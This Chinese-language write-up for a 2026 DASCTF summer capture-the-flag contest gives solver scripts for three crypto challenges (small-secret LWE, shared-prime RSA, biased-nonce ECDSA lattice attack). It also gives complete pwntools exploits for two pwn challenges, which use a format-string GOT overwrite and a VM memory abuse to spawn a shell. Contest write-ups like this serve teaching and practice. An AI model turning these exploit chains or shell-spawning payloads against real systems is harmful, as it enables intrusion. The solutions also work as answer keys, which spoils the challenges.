2026DASCTF夏季赛WP
Crypto
lattice_oracle
问题:
data文件:
{ "n": 6, "q": 97, "m": 30, "A": [ [ 94, 13, 86, 94, 69, 11 ], [ 54, 4, 3, 11, 27, 29 ], [ 77, 3, 71, 25, 91, 83 ], [ 69, 53, 28, 57, 75, 35 ], [ 20, 89, 54, 43, 35, 19 ], [ 43, 13, 11, 48, 12, 45 ], [ 77, 33, 5, 93, 58, 68 ], [ 48, 10, 70, 37, 80, 79 ], [ 73, 24, 90, 8, 5, 84 ], [ 37, 10, 29, 12, 48, 35 ], [ 81, 46, 20, 47, 45, 26 ], [ 34, 89, 87, 82, 9, 77 ], [ 21, 68, 93, 31, 20, 59 ], [ 34, 81, 88, 71, 28, 87 ], [ 7, 29, 4, 40, 51, 34 ], [ 27, 72, 91, 40, 27, 83 ], [ 50, 82, 58, 18, 33, 17 ], [ 95, 71, 68, 33, 95, 74 ], [ 74, 51, 46, 28, 17, 65 ], [ 11, 96, 6, 14, 19, 80 ], [ 87, 54, 76, 8, 49, 48 ], [ 59, 67, 32, 70, 1, 87 ], [ 14, 87, 68, 96, 34, 82 ], [ 14, 37, 55, 20, 58, 0 ], [ 92, 33, 64, 22, 64, 13 ], [ 38, 81, 64, 77, 25, 19 ], [ 20, 69, 67, 0, 76, 41 ], [ 2, 14, 46, 39, 30, 7 ], [ 72, 10, 10, 93, 62, 8 ], [ 16, 16, 84, 60, 70, 21 ] ], "b": [ 56, 74, 51, 28, 10, 30, 34, 45, 82, 56, 62, 52, 5, 71, 35, 41, 86, 47, 8, 27, 64, 29, 57, 92, 34, 55, 57, 70, 87, 28 ], "iv": "bcdad772f7a0ec967887f7b8f36234c8", "enc": "00ac1bac207e84d91c6243c4aead3576a20f996a5420eea7bfa0df3b61d68c83f283bd31f1fedf7465b6445d7a58dcdc" }
问题代码:
from Crypto.Cipher import AES import hashlib, os, json, random flag = b"?" n = 6 q = 97 m = 30 s = [random.randint(0, 3) for _ in range(n)] A = [] b = [] for _ in range(m): a_i = [random.randint(0, q - 1) for _ in range(n)] e_i = random.randint(-1, 1) b_i = (sum(x * y for x, y in zip(a_i, s)) + e_i) % q A.append(a_i) b.append(b_i) key = hashlib.sha256(str(s).encode()).digest()[:16] iv = os.urandom(16) pad_len = 16 - len(flag) % 16 enc = AES.new(key, AES.MODE_CBC, iv).encrypt(flag + bytes([pad_len]) * pad_len) print(f"n = {n}") print(f"q = {q}") print(f"m = {m}") print(f"A = {A}") print(f"b = {b}") print(f"iv = '{iv.hex()}'") print(f"enc = '{enc.hex()}'") """ n = 6 q = 97 m = 30 A = [[94, 13, 86, 94, 69, 11], [54, 4, 3, 11, 27, 29], [77, 3, 71, 25, 91, 83], [69, 53, 28, 57, 75, 35], [20, 89, 54, 43, 35, 19], [43, 13, 11, 48, 12, 45], [77, 33, 5, 93, 58, 68], [48, 10, 70, 37, 80, 79], [73, 24, 90, 8, 5, 84], [37, 10, 29, 12, 48, 35], [81, 46, 20, 47, 45, 26], [34, 89, 87, 82, 9, 77], [21, 68, 93, 31, 20, 59], [34, 81, 88, 71, 28, 87], [77, 29, 4, 40, 51, 34], [27, 72, 91, 40, 27, 83], [50, 82, 58, 18, 33, 17], [95, 71, 68, 33, 95, 74], [74, 51, 46, 28, 17, 65], [11, 96, 6, 14, 19, 80], [87, 54, 76, 8, 49, 48], [59, 67, 32, 70, 1, 87], [14, 87, 68, 96, 34, 82], [14, 37, 55, 20, 58, 0], [92, 33, 64, 22, 64, 13], [38, 81, 64, 77, 25, 19], [20, 69, 67, 0, 76, 41], [2, 14, 46, 39, 30, 7], [72, 10, 10, 93, 62, 8], [16, 16, 84, 60, 70, 21]] b = [56, 74, 51, 28, 10, 30, 34, 45, 82, 56, 62, 52, 5, 71, 35, 41, 86, 47, 8, 27, 64, 29, 57, 92, 34, 55, 57, 70, 87, 28] iv = 'bcdad772f7a0ec967887f7b8f36234c8' enc = '00ac1bac207e84d91c6243c4aead3576a20f996a5420eea7bfa0df3b61d68c83f283bd31f1fedf7465b6445d7a58dcdc' """
解题代码:
题目给出了n=6, q=97, m=30, A和b,以及iv和enc。秘密向量s每个分量在0-3之间,共4^6=4096种可能。对于每个候选s,计算每个方程的误差e_i = b_i - dot(A_i, s) mod q,但需注意模q后,误差应在[-1,0,1]范围内(实际因为e_i随机取-1,0,1,且b_i = (dot + e_i) mod q,所以计算差值后应落在{0, q-1, q-2} 注意模运算:若dot + e_i在[0,q-1]内,则b_i = dot+e_i;若为负数,则加q。所以实际误差e_i = (b_i - dot) mod q,结果应为0, 1, 或q-1(对应-1)。因此检查条件:e_i == 0 or e_i == 1 or e_i == q-1。找到唯一s后,计算key值,然后用AES CBC解密得到flag.
from Crypto.Cipher import AES import hashlib n = 6 q = 97 m = 30 A = [[94,13,86,94,69,11],[54,4,3,11,27,29],[77,3,71,25,91,83],[69,53,28,57,75,35],[20,89,54,43,35,19],[43,13,11,48,12,45],[77,33,5,93,58,68],[48,10,70,37,80,79],[73,24,90,8,5,84],[37,10,29,12,48,35],[81,46,20,47,45,26],[34,89,87,82,9,77],[21,68,93,31,20,59],[34,81,88,71,28,87],[77,29,4,40,51,34],[27,72,91,40,27,83],[50,82,58,18,33,17],[95,71,68,33,95,74],[74,51,46,28,17,65],[11,96,6,14,19,80],[87,54,76,8,49,48],[59,67,32,70,1,87],[14,87,68,96,34,82],[14,37,55,20,58,0],[92,33,64,22,64,13],[38,81,64,77,25,19],[20,69,67,0,76,41],[2,14,46,39,30,7],[72,10,10,93,62,8],[16,16,84,60,70,21]] b = [56,74,51,28,10,30,34,45,82,56,62,52,5,71,35,41,86,47,8,27,64,29,57,92,34,55,57,70,87,28] iv = bytes.fromhex('bcdad772f7a0ec967887f7b8f36234c8') enc = bytes.fromhex('00ac1bac207e84d91c6243c4aead3576a20f996a5420eea7bfa0df3b61d68c83f283bd31f1fedf7465b6445d7a58dcdc') # 枚举所有可能的s (每个分量0-3) from itertools import product candidates = [] for s in product(range(4), repeat=n): valid = True for i in range(m): dot = sum(A[i][j] * s[j] for j in range(n)) % q e = (b[i] - dot) % q if e not in (0, 1, q-1): valid = False break if valid: candidates.append(s) print("Found candidates:", candidates) s = candidates[0] key = hashlib.sha256(str(list(s)).encode()).digest()[:16] cipher = AES.new(key, AES.MODE_CBC, iv) flag = cipher.decrypt(enc) pad_len = flag[-1] if pad_len <= 16: flag = flag[:-pad_len] print(flag.decode())
three_friends
问题:
from Crypto.Util.number import * flag = b"***********" L = len(flag) m1 = bytes_to_long(flag[:L//3]) m2 = bytes_to_long(flag[L//3:2*L//3]) m3 = bytes_to_long(flag[2*L//3:]) p = getPrime(512) q = getPrime(512) r = getPrime(512) e = 65537 n1 = p * q n2 = q * r n3 = p * r c1 = pow(m1, e, n1) c2 = pow(m2, e, n2) c3 = pow(m3, e, n3) print(f"n1 = {n1}") print(f"n2 = {n2}") print(f"n3 = {n3}") print(f"e = {e}") print(f"c1 = {c1}") print(f"c2 = {c2}") print(f"c3 = {c3}") """ n1 = 110479112338979326841231465480900311437095583241804968504367003268478785311645575853029227541889465070127417880290972698509502098875302777600751062235679028180932171554996023850242418398546147652141811910224228666917788640895453721648601609529326886128507435254380985821439510394329605362511800619781782498829 n2 = 95225891725804035729098697183853172993650305271540351260130976375990969994680256179992972429701670943885218431291657615581872984046365977866046911929212400122026478512046580419614160900113488336302811792780327677539930592604198331529856760869923384410189400614767668529075682332352478496830621674767765967989 n3 = 111603865467493745511917065096450766019551858630764507502030413922630178420561431122201021143404521026218410173550594126191240832822627851633700772093095150654117699219949636045712687320990198957564564857885138504872560550777788915442814980338401072475446362026076893466520135409327492048388030114969050367401 e = 65537 c1 = 83456548767677952158133165776385438048214812740470347872014544040241661979735585698444752238351578159480247608435786172021153411975720140472715451216442036398970558532828923787921375318802867775369825882219621531795085442575971814645729572790836415339290407608988460626504016819536559945368010686567075802413 c2 = 55598291653542627898994967211126815679185160762475277667203320398466974811147081936849639204784572327753766773503264941715352990434513737784771805183050575481575095545922660276426069697449001567347723946016416649932633528235458091960122921036028416845355866656581114844470311590282808396786169332755296721792 c3 = 99617304265145206462280689337024202287720390645940568836285315412577937662785727570612881726190729195621460858194592258472873348744392240254689998279616123901037173010035977506212880680604466077172284894508163086916852071659627506881093976971048133795462670278664801263633610021626528113016267024450025017002 """
解题代码:
RSA多素数问题:三个模数n1=p*q, n2=q*r, n3=p*r。已知n1, n2, n3, e, c1, c2, c3。我们需要恢复flag。flag被分成三部分m1, m2, m3,分别加密。由于我们知道n1, n2, n3,我们可以通过gcd(n1, n2)得到q,然后p = n1//q,r = n2//q。然后解每个密文得到m1, m2, m3。但注意m1, m2, m3是flag的一部分,可能长度不是正好整除,但这里使用了L//3分片,所以每个部分长度大致相等。我们需要将三个数字转换为字节并拼接得到flag。
from Crypto.Util.number import long_to_bytes from math import gcd n1 = 110479112338979326841231465480900311437095583241804968504367003268478785311645575853029227541889465070127417880290972698509502098875302777600751062235679028180932171554996023850242418398546147652141811910224228666917788640895453721648601609529326886128507435254380985821439510394329605362511800619781782498829 n2 = 95225891725804035729098697183853172993650305271540351260130976375990969994680256179992972429701670943885218431291657615581872984046365977866046911929212400122026478512046580419614160900113488336302811792780327677539930592604198331529856760869923384410189400614767668529075682332352478496830621674767765967989 n3 = 111603865467493745511917065096450766019551858630764507502030413922630178420561431122201021143404521026218410173550594126191240832822627851633700772093095150654117699219949636045712687320990198957564564857885138504872560550777788915442814980338401072475446362026076893466520135409327492048388030114969050367401 e = 65537 c1 = 83456548767677952158133165776385438048214812740470347872014544040241661979735585698444752238351578159480247608435786172021153411975720140472715451216442036398970558532828923787921375318802867775369825882219621531795085442575971814645729572790836415339290407608988460626504016819536559945368010686567075802413 c2 = 55598291653542627898994967211126815679185160762475277667203320398466974811147081936849639204784572327753766773503264941715352990434513737784771805183050575481575095545922660276426069697449001567347723946016416649932633528235458091960122921036028416845355866656581114844470311590282808396786169332755296721792 c3 = 99617304265145206462280689337024202287720390645940568836285315412577937662785727570612881726190729195621460858194592258472873348744392240254689998279616123901037173010035977506212880680604466077172284894508163086916852071659627506881093976971048133795462670278664801263633610021626528113016267024450025017002 # 1. 通过 gcd 恢复公共质因数 q = gcd(n1, n2) # n1 = p*q, n2 = q*r p = n1 // q r = n2 // q # 验证 n3 assert n3 == p * r, "n3 与 p*r 不匹配" # 2. 计算每个模数的欧拉函数值,并求私钥 d phi1 = (p-1)*(q-1) d1 = pow(e, -1, phi1) m1 = pow(c1, d1, n1) phi2 = (q-1)*(r-1) d2 = pow(e, -1, phi2) m2 = pow(c2, d2, n2) phi3 = (p-1)*(r-1) d3 = pow(e, -1, phi3) m3 = pow(c3, d3, n3) # 3. 将整数转为字节串并拼接 flag = long_to_bytes(m1) + long_to_bytes(m2) + long_to_bytes(m3) print(flag.decode())
phantom_sign
问题:
data.join文件:
{ "curve": { "p": 115792089237316195423570985008687907853269984665640564039457584007908834671663, "a": 0, "b": 7, "n": 115792089237316195423570985008687907852837564279074904382605163141518161494337, "Gx": 55066263022277343669578718895168534326250603453777594175500187360389116729240, "Gy": 32670510020758816978083085130507043184471273380659243275938904335757337482424 }, "Q": [ 14381884142053692010670248998801769124914487901414773974015654681034012688255, 64375051673746957361995109041219741865161910617387712088184757596175025053122 ], "messages": [ "transaction_0000", "transaction_0001", "transaction_0002", "transaction_0003", "transaction_0004", "transaction_0005", "transaction_0006", "transaction_0007", "transaction_0008", "transaction_0009", "transaction_0010", "transaction_0011", "transaction_0012", "transaction_0013", "transaction_0014", "transaction_0015", "transaction_0016", "transaction_0017", "transaction_0018", "transaction_0019", "transaction_0020", "transaction_0021", "transaction_0022", "transaction_0023", "transaction_0024", "transaction_0025", "transaction_0026", "transaction_0027", "transaction_0028", "transaction_0029", "transaction_0030", "transaction_0031", "transaction_0032", "transaction_0033", "transaction_0034", "transaction_0035", "transaction_0036", "transaction_0037", "transaction_0038", "transaction_0039" ], "signatures": [ [ 68623012658964044762439342088012968624675690473816447637600910564419537238371, 15409910140266829196412141913285986302804004110236621771020575869065555663696, 16231690641092882005648985285611869113359556603583525880749701446944482280021 ], [ 77431396449219903473500735584772748401805492235548758593058094014043985134432, 67863597065431736744341440973090277252500853536893508765834799618806098271971, 24087909208373904843980482690084775866515137017280314586016074922674852950253 ], [ 100248368000649436610187738005377683213071492466205694786382250978121304847477, 77042059530731000421700136088737254781902047732199473207102292532379790077908, 83201196234278745618633371284537877693294166569777892443609588916214395800793 ], [ 98710888583712501637271528817394350172330702312562091976971223086960770939229, 16520271882082076261873400787434335823842832075059532024002551383223716751788, 22820724369261883837345916363412287825209317160882909337420597055559178152516 ], [ 59967080355028192107558514795652734650395409012132756087245876704745319277923, 47136580854696294822924432914322852109262249675142496795370609257457164594314, 13682716447356676108782599637577879405582127040964001655868876522076601805986 ], [ 109549518366107268175566420541647014431304106391008133537387771704686987061848, 42693721873458957430095521557168807764715953946858801334925813349834102476268, 80412604504881303613607760025259664985035514562950545552680307442529482563178 ], [ 32891620902205917973749212388363625471988247490866368122783178116254114716840, 23468412712478130166174673844108979598723413685258787747162405930509276876504, 95694506365701709993200278888122095662942876004812269473949018644610368529945 ], [ 7034130388458250359073433784976303090373666812632229911026234082900858319745, 39521869922052069350514363141850998159800210216399500967932590206699536627841, 84353561963465987590756504434712708320467880003431220998255132049603443566767 ], [ 81603082497512549594737087912428025636236701602760455573358977688837607027030, 70468775971037345019568151925840035810953592003694890746728099612852733316781, 60188526646767806213578866692609585353411998783011605223221841743702035165689 ], [ 468820956173341373421250975133053620084677820114822054364619276486853657378, 97617802742831258133389306842926539984189205376012132788295743866240138393796, 86197308671240955856792900537452586282633455973411628672881311684985478392023 ], [ 34198855384118055989774019714084284607152642751190185031160830737984106466825, 50091975249850495590192550928077098526392126317690594853380942936943511566748, 82821224010440219461116506221592230660592360305266834070956225480688805987782 ], [ 44692908537542921388721557652293950830728673227605735396255620821721247706746, 86303046675560156022221798070497825327652849653693114279064416140443550145135, 25774132105242471740738652205562372489424541515376008388300106346755509211237 ], [ 103371574413557665181969748049543969481794604073622278983532046290983238979971, 15864399438093679710696118414562945892156489123355478934030614804022876369983, 54776456658598351376132617111181472299022005760051955110025505232956220720011 ], [ 63341128072830221873124956390298090362285184652738502327724967039766171538206, 11733122287893233193041134288448337239823392760363833328527972874375992506185, 55589451739589363242556596652770241463015149077817786903879419739309759578175 ], [ 27288717930840976736680809241382164215651583919640225703008945311488199140521, 70952066043757850812973802542731941610375006626643053263121657775586502932574, 70999334731245338502230582908105212782583996043864821203745436191377548842962 ], [ 46977534818805503250026505243185583478497804552247128876416946585364297578313, 85888803887249272531039133914745482794189393882435176657644947019816666997866, 115439058221796341851223357555191987336992737315776925913826898155265301156513 ], [ 108742045161968083170793999806136654493975359192544979494514159017986130950145, 55276373164891899555674217114895276904618874120130236173518191824641067518095, 38249790543512769372950721119118070697179260436542072817927568583554674034872 ], [ 80679385259005022311454077061638968975436785982614413209061244151516600200604, 38830127938935154036365672021650382727492249584897878321818743263930063797867, 1615604521298534145852491795189029226912426630714907710141135634092303903692 ], [ 68426646935507652864321803938637509374411880258163567604422214441877403558563, 49485206808907344546224756822956202192819461158084832051644535076762086911094, 5506738747141944929476836768389643342000107449635926313949384197297785179392 ], [ 75749110106887185029696128609664986507851190155862064026568376511601948342562, 103134910436105078628750146848715499694625558345743178409736128330081634012939, 44629335752019242725824498152097689780496323404757053504483657690141328743571 ], [ 91018041996616883539059450083078485404853400346892984297021173939461655057767, 11461890292925254499816979898090493650892053286982534818266508401647599070685, 40031373887348334200664348038188275286628600246735900840022955444430590281855 ], [ 1370687679926407589411963949541005511534305373551132425701086586910259635693, 107619305183424867953063642433255944948673145351534928767503637716296709264685, 85513484602329200511731250031521439738521337009477868919113331987207571383694 ], [ 44944287357591856363247256091485039648533597543208271827409192476451290982779, 23175840683019426535583923882772506992218394035175827240603279300793913605553, 80031135715265348665934774384368935350707832014864718995937062885248400818264 ], [ 17694567492186494847567960676252271679297743299805709379745528289640192535059, 71355530734203596192754364284929825508213810679176506903309636275867854701706, 102233035159694340569371315519189828565187309319219185159132617914136413644659 ], [ 54456482747307877036840932303806534594320856321791174091833811110252672255623, 32998682782651923096991067227828367025494847948287781286016129232181211768899, 18443963929422435176984400249169266653848364275404381769823306629634461819686 ], [ 2404814179589202385430703159800974435225758080132560432960864443808482348681, 33576437303174752996063351920550159305060168912109415419982873233118909715201, 100614626430112511848206158910219447084927962265787443711244786060546283770750 ], [ 115745414399683823307868521314846890210612184688338219317351943089729115155364, 79438235079169283727785836919328790019797981743656243081628185669211413227225, 102806512769931746523999370669354592734153941662103644543564851908427108413913 ], [ 18426657627489841307261634267238401226059547378719104932708309997051748743769, 62590041951703184253678233264344446748127485210977060559306195540330092605362, 101530409927644823892719262290513582065237179361817304023613215463814779925895 ], [ 74386971640345348892273553558534056423360473891327412428528026398196155593717, 112531297864138795074095127404777305273759611453695096499330894409552283933946, 18823749967655963380272028819243750152361266207453980896157770996332423395082 ], [ 19106188598360386995507879795657171606222760661548416372498541207700966318284, 100617844853844596276395700912501356057588002934486917893968678432205687541476, 43736575626650901378832954845740205926921653011368690509563749617513006791484 ], [ 90826305454088332506331106642552006622072207363916469718022991443620544472546, 53758585234453282306365116576836864660792431524619925164067935733611806020238, 82201873555529998458133190118421768098123248026473202342997665073076665973761 ], [ 26964884110356441854854146441983840112586567210061799395519700568901705979391, 1501580300208786477647896676022784131292995291248556256029839365072061388853, 74663505428203350509657969904492520642046783183792753210740041094249533787195 ], [ 30867701522043889635892145388908689718746952318295454393379231437327806517839, 103976891956739383229279105730248953588226973172938577085394805051492378931690, 95050317462894118042891010248169813822197290013821053762551094263011582770872 ], [ 91625463520733170536123384098608666318804256815524871957315735711271742421480, 18421764663198939270481619830994446270847508651060531249062628134724012834678, 48334336563886233195718722096743040222545484109821164105150318374001163713165 ], [ 103064540920389706885216566103866388349445461442577057115890241415106585943059, 93557418383080341475950855462894077919034434666441577156007046090636823710718, 5027052615852822061753823925815925894133647383995174293658504267200461685357 ], [ 92080617417968225877643047516649852660902234175180899982216286691685945363569, 16410973208434267587548600922795823406156890013721990057263520578610923809844, 67365944641539915969665344202352251869423069523524222146230967868391275008227 ], [ 6159561898351927490523303554903483755096522561484631083019517022991878007250, 40353595861455770779106431851830080611219657721423578311317916723690860959197, 70771528439745244346695359744161029464126444827213217436535504331137136741465 ], [ 26014860908695329456449800888732251794635965791744084336829431449032048912766, 97126322320255761721732297914656320097635724679029727859661301686364386778040, 29627148788686640914536827943478838605842335191276479094899001742330086803923 ], [ 95638155978081454594748375621553851019955800860992571438989927312610110006635, 106704752213663488838283609628683569783251650568773792767027643662696040553298, 16725629198799460288259231610659921992174496734119920477389778451623621034370 ], [ 86374304417545719890118180914775030188473989874917183072739411192768588646497, 112793359871613653484714387011745700719066770376294753104591899106143083860660, 93975497629053209581870367660816868978543483441305949414816232807735190601440 ] ], "iv": "d76bc487aedfe1aedeb9ae3ef867b81f", "enc": "c661c1ca54c4142afc81f5ea94256137c77e96eae909254cdaa2e4409e90fc3551b14b9d33b7e2a0fea48e18f12a9aa7" }
问题代码:
import os, hashlib, json from Crypto.Cipher import AES from Crypto.Util.Padding import pad from Crypto.Util.number import long_to_bytes, bytes_to_long p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F a = 0 b = 7 n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 Gx = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798 Gy = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8 def inv_mod(val, mod): return pow(val, -1, mod) def point_add(P, Q): if P is None: return Q if Q is None: return P x1, y1 = P x2, y2 = Q if x1 == x2 and y1 != y2: return None if P == Q: lam = (3 * x1 * x1 + a) * inv_mod(2 * y1, p) % p else: lam = (y2 - y1) * inv_mod(x2 - x1, p) % p x3 = (lam * lam - x1 - x2) % p y3 = (lam * (x1 - x3) - y1) % p return (x3, y3) def point_mul(k, P): R = None Q = P while k > 0: if k & 1: R = point_add(R, Q) Q = point_add(Q, Q) k >>= 1 return R G = (Gx, Gy) flag = b"DASCTF{************************************}" d = bytes_to_long(os.urandom(32)) % n Q = point_mul(d, G) NUM_SIGS = 40 messages = [] sigs = [] for i in range(NUM_SIGS): msg = f"transaction_{i:04d}".encode() h_i = int(hashlib.sha256(msg).hexdigest(), 16) % n k_i = bytes_to_long(os.urandom(31)) R_i = point_mul(k_i, G) r_i = R_i[0] % n s_i = inv_mod(k_i, n) * (h_i + d * r_i) % n messages.append(msg.decode()) sigs.append((h_i, r_i, s_i)) key = hashlib.sha256(long_to_bytes(d)).digest()[:16] iv = os.urandom(16) enc = AES.new(key, AES.MODE_CBC, iv).encrypt(pad(flag, 16)) output = { "curve": {"p": p, "a": a, "b": b, "n": n, "Gx": Gx, "Gy": Gy}, "Q": [Q[0], Q[1]], "messages": messages, "signatures": [(h, r, s) for h, r, s in sigs], "iv": iv.hex(), "enc": enc.hex(), } with open("data.json", "w") as f: json.dump(output, f, indent=2)
解题代码:
ECDSA 签名中的随机数 k_i 只用了 31 字节(248 bits),远小于曲线阶 n(256 bits)。这是一个经典的 有偏 nonce攻击。
SageMath LLL:对每个签名计算 c_i = s_i · r_i⁻¹ mod n,v_i = −h_i · r_i⁻¹ mod n;
消去 d 得到 k_i ≡ α_i · k₀ + β_i (mod n) 方程组构造 41 维格矩阵,所有短向量分量 < 2^248;
BKZ-30 归约,恢复 k₀ → 反推 d。
import json, sys with open("data.json") as f: data = json.load(f) n = int(data["curve"]["n"]) p = int(data["curve"]["p"]) Gx = int(data["curve"]["Gx"]) Gy = int(data["curve"]["Gy"]) Qx = int(data["Q"][0]) Qy = int(data["Q"][1]) sigs = data["signatures"] K = 2^248 # 椭圆曲线 F = GF(p) E = EllipticCurve(F, [0, 7]) G = E(Gx, Gy) Q = E(Qx, Qy) m = len(sigs) # Step 1: 计算 c_i, v_i c_list = [] v_list = [] for sig in sigs: hi, ri, si = int(sig[0]), int(sig[1]), int(sig[2]) ci = (si * inverse_mod(ri, n)) % n vi = (-hi * inverse_mod(ri, n)) % n c_list.append(ci) v_list.append(vi) # Step 2: 消去 d,得到 k_i = α_i * k_0 + β_i (mod n) alpha_list = [] beta_list = [] c0, v0 = c_list[0], v_list[0] for i in range(1, m): ci_inv = inverse_mod(c_list[i], n) ai = (ci_inv * c0) % n bi = (ci_inv * (v0 - v_list[i])) % n alpha_list.append(ai) beta_list.append(bi) # Step 3: 构造 (m+1) × (m+1) 格矩阵 dim = (m - 1) + 2 # = 41 MM = matrix(ZZ, dim, dim) for i in range(m - 1): MM[i, i] = n # n 对角线 k0_col = m - 1 for i in range(m - 1): MM[m - 1, i] = alpha_list[i] # α₁..α₃₉ MM[m - 1, k0_col] = 1 # k₀ 系数 const_col = m for i in range(m - 1): MM[m, i] = beta_list[i] # β₁..β₃₉ MM[m, const_col] = K # K # Step 4: BKZ + LLL 归约 L = MM.BKZ(block_size=30, fp="rr", precision=200) L2 = MM.LLL() # Step 5: 从短向量提取 k₀ → 计算 d def verify(dc): """验证 Q == d*G 且 k_i < K""" dc_int = int(dc) if dc_int <= 0 or dc_int >= n: return False if (dc_int * G) != Q: return False for i in range(min(3, m)): hi, ri, si = sigs[i] kc = (inverse_mod(si, n) * (hi + dc_int * ri)) % n if kc >= K: return False return True d_found = None for name, L_mat in [("BKZ", L), ("LLL", L2)]: for i, row in enumerate(L_mat[:80]): if abs(int(row[-1])) == K: # 最后一列 = ±K k0 = abs(int(row[-2])) # 倒数第二列 = k₀ if 0 < k0 < K: dc = (c0 * k0 + v0) % n # d = c₀k₀ + v₀ (mod n) if verify(dc): d_found = dc break if d_found: break print(f"d = {d_found}")
再利用:key = SHA256(long_to_bytes(d))[:16];AES-CBC 解密得到 flag
import hashlib from Crypto.Cipher import AES from Crypto.Util.Padding import unpad from Crypto.Util.number import long_to_bytes d = 69733894115169365517439430123407937761015055472912247236884018827222720875663 iv = bytes.fromhex("d76bc487aedfe1aedeb9ae3ef867b81f") enc = bytes.fromhex("c661c1ca54c4142afc81f5ea94256137c77e96eae909254cdaa2e4409e90fc3551b14b9d33b7e2a0fea48e18f12a9aa7") key = hashlib.sha256(long_to_bytes(d)).digest()[:16] cipher = AES.new(key, AES.MODE_CBC, iv) flag = unpad(cipher.decrypt(enc), 16) print(flag.decode())
PWN
FmtNote
问题:
简单fmt签个到吧
解题代码:
观察vuln函数用户输入直接作为 printf 的格式化参数,可做任意读写。

泄漏 puts@GOT (格式字符串 %s);计算 libc 基址计算 system 地址;3×%hn 单次覆写 printf@GOT → system;(必须先算偏移, 必须单次完成);发送 "/bin/sh" 触发 system(),cat /flag*得到flag。(必须在单次 printf 调用中完成全部写入。原因是第一次 %hn 写入后 printf@GOT 已被部分覆写,下一次循环的 printf(">>> ") 就会崩溃。)
from pwn import * context.log_level = 'info' libc = ELF('./libc.so.6') io = remote('*****.*******.dasctf.com', 9999, ssl=True) io.recvuntil(b'>>> ') io.sendline(b'%7$sAAAA' + p64(0x404018)) buf = io.recvuntil(b'>>> ') idx = buf.find(b'AAAA\x18\x40\x40') puts = u64(buf[:idx].ljust(8, b'\x00')) system = puts - libc.symbols['puts'] + libc.symbols['system'] log.info('system = 0x%x', system) sa = p64(system) w = [(sa[0]|(sa[1]<<8), 0x404028), (sa[2]|(sa[3]<<8), 0x40402a), (sa[4]|(sa[5]<<8), 0x40402c)] w.sort(key=lambda x: x[0]) p, q = [], 0 for v, _ in w: p.append(b'%' if v == q else b'%' + str(v - q).encode() + b'c%') q = v t = len(b''.join(p)) + 5 * 3 off = [6 + (t + (8 - t % 8) % 8 + i * 8) // 8 for i in range(3)] r, q = b'', 0 for (v, _), o in zip(w, off): o_s = str(o).encode() r += (b'%' + o_s + b'$hn') if v == q else \ (b'%' + str(v - q).encode() + b'c%' + o_s + b'$hn') q = v r += b'\x00' * ((8 - len(r) % 8) % 8) for _, a in w: r += p64(a) io.sendline(r) io.recvuntil(b'>>> ', timeout=3) io.sendline(b'/bin/sh\x00') io.sendline(b'cat /flag*') io.interactive()
TinyVM
问题:
tiny vm
解题代码:
Partial RELRO → 必须先触发懒绑定:puts@GOT 初始值不是真实 libc 地址,而是 PLT stub。必须先调一次 puts() 让动态链接器解析。这里用 ALLOC 造个指向 BSS 空区的指针,调用 PUTS → puts(""),无副作用地触发解析。
ALLOC 基址是 STACK (0x4050C0),不是 CODE_BUF:这是通过解析 handler 中的 LEA 指令的 RIP 相对寻址静态确认的。搞错基址会导致所有 delta 算错。
PRINT 输出格式是 0x%lx\n:接收端必须 recvuntil(b'0x') 然后读 hex 行,否则解析偏移错误。
READN 是 strtoull,不是 scanf:发送 system 地址时用十进制字符串 str(system_addr) 即可。
from pwn import * import struct context.log_level = 'info' libc = ELF('./libc.so.6') io = remote('a14ec269.tcp-ctf2.dasctf.com', 9999, ssl=True) MOVI=0x10; ADD=0x20; SUB=0x21; ALLOC=0x30; LOADQ=0x31; STOREQ=0x32 PRINT=0x40; READN=0x41; PUTS=0x60; JMP=0x70; HALT=0xff r0,r1,r2,r3 = 0,1,2,3 STACK = 0x4050C0 CODE_BUF = 0x4051C0 PUTS_GOT = 0x405018 # ALLOC(r2, 200) → r2 = 0x4050C0 + 200 = 0x405188 # delta = 0x405188 - 0x405018 = 0x170 = 368 R2_OFF = 200 R2_DELTA = 368 # "/bin/sh" # ALLOC(r3, 255) → r3 = 0x4051BF # ADD r3, 4 → r3 = 0x4051C3 = CODE_BUF + 3 R3_OFF = 255 R3_DELTA = 4 JMP_SKIP = 8 bc = bytes([JMP]) + struct.pack('<h', JMP_SKIP) bc += b'/bin/sh\x00' # r3 → CODE_BUF+3 = 0x4051C3 ("/bin/sh") bc += bytes([ALLOC, r3, R3_OFF]) # r3 = STACK+255 = 0x4051BF bc += bytes([MOVI, r0]) + struct.pack('<i', R3_DELTA) # r0 = 4 bc += bytes([ADD, r3, r0]) # r3 = 0x4051C3 # r2 = pointer to puts@GOT = 0x405018 bc += bytes([ALLOC, r2, R2_OFF]) # r2 = 0x405188 bc += bytes([MOVI, r0]) + struct.pack('<i', R2_DELTA) # r0 = 368 bc += bytes([SUB, r2, r0]) # r2 = 0x405018 bc += bytes([ALLOC, r1, 0]) # r1 = STACK+0 = 0x4050C0 (BSS zero) bc += bytes([PUTS, r1]) # puts("") → resolves puts@GOT! bc += bytes([LOADQ, r0, r2]) # r0 = *puts@GOT bc += bytes([PRINT, r0]) # printf("0x%lx\n", r0) bc += bytes([READN, r0]) # r0 = user input (system addr) bc += bytes([STOREQ, r2, r0]) # *puts@GOT = system bc += bytes([PUTS, r3]) # puts("/bin/sh") = system("/bin/sh") bc += bytes([HALT]) log.info(f'Bytecode: {len(bc)} bytes') io.recvuntil(b'Size: ') io.sendline(str(len(bc)).encode()) io.send(bc) io.recvuntil(b'0x', timeout=5) hex_rest = io.recvline(timeout=5).strip() leak_str = '0x' + hex_rest.decode() puts_addr = int(leak_str, 16) log.info(f'puts = {hex(puts_addr)}') libc_base = puts_addr - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] log.info(f'libc = {hex(libc_base)}') log.info(f'system = {hex(system_addr)}') io.sendline(str(system_addr).encode()) io.sendline(b'cat /flag*') io.interactive()
REVERSE
Mirage
问题:
真实与幻象之间,只隔着一层薄纱。
解题代码:
